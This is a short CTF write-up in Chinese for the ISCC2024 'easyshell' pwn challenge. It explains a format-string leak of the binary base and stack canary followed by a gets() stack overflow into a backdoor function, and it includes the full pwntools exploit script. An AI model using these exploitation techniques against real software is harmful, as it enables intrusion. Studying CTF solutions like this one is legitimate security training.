# ISCC2024 WriteUp

Whooops+李卓航+925798691@qq.com

### Pwn+easyshell

### 解题思路

1. 格式化字符串漏洞泄露地址和canary

2.利用gets栈溢出漏洞调用后门函数

### Exp

from pwn import \*

context.log\_level = 'debug'

context(arch='amd64', os='linux')

context.terminal = ['tmux', 'splitw', '-h']

# 目标程序路径

target\_binary = './easyshell'

# 启动目标程序

p = process(target\_binary)

# 交互函数，发送payload并接收输出

def interact(payload):

p.recvuntil(">>")

p.sendline(payload)

# 发送格式化字符串漏洞payload，并返回获取到的基址和canary值

def leak\_info():

header = b"flagis A" + b'A' \* 8

payload = header + b".%17$p..%31$p."

interact(payload)

p.recvuntil("AAAAAAAAA.0x")

elf\_base = int(p.recv(12), 16) - 0x1520

p.recvuntil("0x")

canary = int(p.recv(16), 16)

return elf\_base, canary

# 构造payload触发后门

def exploit(elf\_base, canary):

backdoor\_addr = elf\_base + 0x128e

payload = b'exit' + 0x34 \* b'a' + p64(canary) + p64(0) + p64(backdoor\_addr)

interact(payload)

interact(b'exit\x00')

# 获取基址和canary值

elf\_base, canary = leak\_info()

# 触发后门

exploit(elf\_base, canary)

# 进入交互模式

p.interactive()